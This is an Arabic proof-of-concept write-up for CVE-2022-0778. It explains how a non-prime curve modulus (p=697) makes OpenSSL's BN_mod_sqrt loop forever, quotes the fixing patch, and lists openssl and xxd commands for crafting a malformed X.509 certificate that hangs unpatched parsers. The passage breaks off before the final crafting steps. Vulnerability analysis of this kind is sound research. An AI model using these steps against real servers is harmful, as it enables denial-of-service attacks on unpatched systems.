
إثبات مفهوم لاستغلال CVE-2022-0778، يوضح حلقة لا نهائية في دالة BN_mod_sqrt الخاصة بـ OpenSSL عبر شهادة X.509 مصممة بعناية تحتوي على معاملات منحنى غير أولية، مما يتيح هجمات حجب الخدمة.
الثغرة المكتشفة تؤدي إلى حلقة لا نهائية في الدالة BN_mod_sqrt() من OpenSSL أثناء تحليل مفتاح منحنى إهليلجي. هذا يعني أن شهادة X.509 مصممة بشكل خبيث يمكنها تعطيل أي خادم غير مُصَحَّح.
جوهر الثغرة يكمن في تحليل مفاتيح EC بنقاط بصيغة مضغوطة: أثناء تحليل هذا النوع من المفاتيح، يحاول OpenSSL توسيع النقطة المضغوطة، محاولاً حساب جذر تربيعي بمعامل العدد الأولي p الذي يُعرَّف عليه المنحنى. ومع ذلك، لا يتم التحقق من أولية p في أي مكان، ولا حتى في BN_mod_sqrt() التي تتطلب ذلك؛ وبالتالي، سيؤدي خطأ في التطبيق إلى حلقة لا نهائية بسبب أن p ليس أولياً كما هو متوقع.
يمكن الاطلاع على النسخة الصينية في مدونتي OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造
BN_mod_sqrt()المتطلب الأساسي هو تثبيت gcc وإصدار ضعيف من OpenSSL.
للخلل في BN_mod_sqrt(): قم بالتجميع باستخدام gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto، ثم شغّل ./my_bad_sqrt وشاهده يتعطل إلى الأبد! :D
باستخدام شهادة: قم بتشغيل الأمر openssl x509 -in certs/cert.der.new -inform DER -text -noout على سطر الأوامر؛ هذا أيضاً يسبب تعليقاً.
تقوم الدالة BN_mod_sqrt() بتنفيذ خوارزمية Tonelli-Shanks لإيجاد جذر تربيعي نمطي، أي بمعطى عدد صحيح a وعدد أولي p، تُرجع قيمة r بحيث r^2 == a (mod p).
عند تحليل الcommit الذي يُصلح الثغرة، نرى أن السبب هو الحلقة التي تبحث عن أصغر فهرس i الذي يتحقق عنده b^(2^i)==1 (mod p)، حيث b مُعرَّف مسبقاً في الخوارزمية.
تم تغيير الحلقة من
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
إلى
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
في الحالة الثانية، هناك حلقة for محدودة بالمتغير e؛ بينما في الكود الأصلي يوجد فقط فحص للحالة i==e داخل حلقة while.
نظراً لأن هذه الحلقات موجودة داخل حلقة أكبر، والتي تُحدد لكل تكرار القيمة الجديدة لـ e كقيمة i الحالية، نحاول استراتيجية الهجوم التالية:
i=1 في النهاية؛ لذلك نحتاج إلى b^2=1 (mod p).e=1، وإذا تمكنا من الدخول إلى الحلقة الداخلية، سيفشل فحص i==e دائماً.t != 1 (mod p) دائماً، فسنبقى في الحلقة إلى الأبد.لاحظ أن الخطوتين الأوليين يمكن أن تحدثا فعلياً في تنفيذ "طبيعي"، أي مع عدد أولي p. لكن إذا كان p مركباً، يمكننا أيضاً تحقيق الخطوة الثالثة!
تعمل خوارزمية Tonelli-Shanks عن طريق كتابة p - 1 = 2^e * q، مع q فردي. هذا هو أيضاً رتبة مجموعة الضرب للأعداد الصحيحة بمعامل p، وسيتم استخدام القيمتين e و q مرات عديدة أثناء التنفيذ؛ لكن إذا لم يكن p أولياً، فإن رتبة مجموعة الضرب لن تكون p-1، وهذا سيساعدنا في الوصول إلى الحلقة اللانهائية.
على وجه الخصوص، يتم تهيئة b كـ b = a^q (mod p)، مما يعني أنه إذا كان p أولياً، فإن رتبة b ستكون قوة من 2، وسنجدها بعد ذلك باستخدام الحلقة.
لكن إذا جعلنا p = r * s، فإن رتبة مجموعة الضرب هي (r-1)*(s-1) = r*s - r - s + 1 بدلاً من r*s-1. تستخدم الخوارزمية القيمة q للحصول على عنصر y من الرتبة 2^e بالضبط؛ ومع ذلك، عندما لا يكون p أولياً، فإن القيمة q لن يكون لها معنى خاص بالنسبة للرتبة، لذا لن يكون للعنصر y رتبة قوة من اثنين بمعامل p=r*s.
نظراً لأنه في نهاية الحلقة الخارجية الأولى يتم تعيين b كـ b = b*y^(e-i) (mod p)، ففي التكرار الثاني لها، ستحاول الحلقة الداخلية إيجاد قيمة i تتحقق عندها b^(2^i) == 1 (mod p)، لكنها ستفشل لأن y لم يعد مضموناً أن له رتبة قوة من اثنين.
الأرقام في الاستغلال بسيطة جداً: نأخذ r=17, s=41، مما يعطي p=r*s=697. هذا يعني أن القيم المحسوبة لـ e و q ستكون p-1 = 2^3 * 87.
ثم نختار a=696، مما يعني أن a == -1 (mod p) وأيضاً b == -1 (mod p) عند التهيئة. سيحقق ذلك الخطوة 1 مع تعيين e=1 للحلقة الخارجية التالية.
ثم سيتم تعيين b لعنصر رتبته ليست قوة من 2، وستعلق الحلقة الداخلية في محاولة إيجاد i تتحقق عنده b^(2^i)==1 (mod p).
حسناً، الآن لنقم بصياغة شهادة خطيرة تحتوي على معاملات منحنى صريحة غير صالحة مع نقطة أساس مشفرة بصيغة مضغوطة.
ملفات هذا القسم موجودة في مجلد certs.
أولاً، نحتاج إلى إنشاء مفتاح EC خاص. لأننا نريد شهادة مستهدفة بمعاملات منحنى صريحة، لذا يجب أن يحتوي المفتاح أيضاً على معاملات منحنى صريحة.
$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
ثم، للراحة، قمنا بتوقيع الشهادة ذاتياً، وإخراجها بصيغة DER.
$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
لنتحقق من معلومات الشهادة. تحتوي على معاملات منحنى صريحة كما هو متوقع.
$ openssl x509 -in cert.der -text -noout -inform DER
...
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff
A:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fc
B:
5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
60:4b
Generator (compressed):
03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
98:c2:96
Order:
00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
63:25:51
...
الآن نحتاج إلى تعديل قيم هذه المعاملات: Prime, A, B, Generator. تحقق المعادلة التالية
حيث p هو Prime، a هو المعامل A، و b هو المعامل B. p, a, b معاً يحددان منحنى. فك ضغط نقطة يعني حساب الإحداثي Y من الإحداثي X المقابل.
من الواضح أنه يجب استخدام عملية الجذر التربيعي النمطي، والتي ستستدعي BN_mod_sqrt().
بناءً على عمل drago-96، نأخذ p=697، x^3+ax+b=696. ثم نحتاج فقط إلى اختيار a, b, x مناسبة تحقق المعادلة الثانية. نأخذ x=8، a=23، b=0 هنا.
حسناً، الآن يمكننا البدء في تعديل الشهادة. تعديل بنية ASN.1 يدوياً أمر مزعج حقاً. استخدمت الأداة xxd لتحويل الشهادة إلى صيغة hex، ثم قمت بتعديلها باستخدام vim. بعد الانتهاء من التعديل، قمت بتحويلها مرة أخرى باستخدام xxd -r.
$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# تعديل cert.der.hex
# ...
# اكتمل
$ xxd -r cert.der.hex cert.der.new
لم أجد أداة أكثر ملاءمة. إذا كان أي شخص يعرف مثل هذه الأداة، فيرجى المشاركة بتعليقاتكم.
خطوات الصياغة تقريباً كما يلي: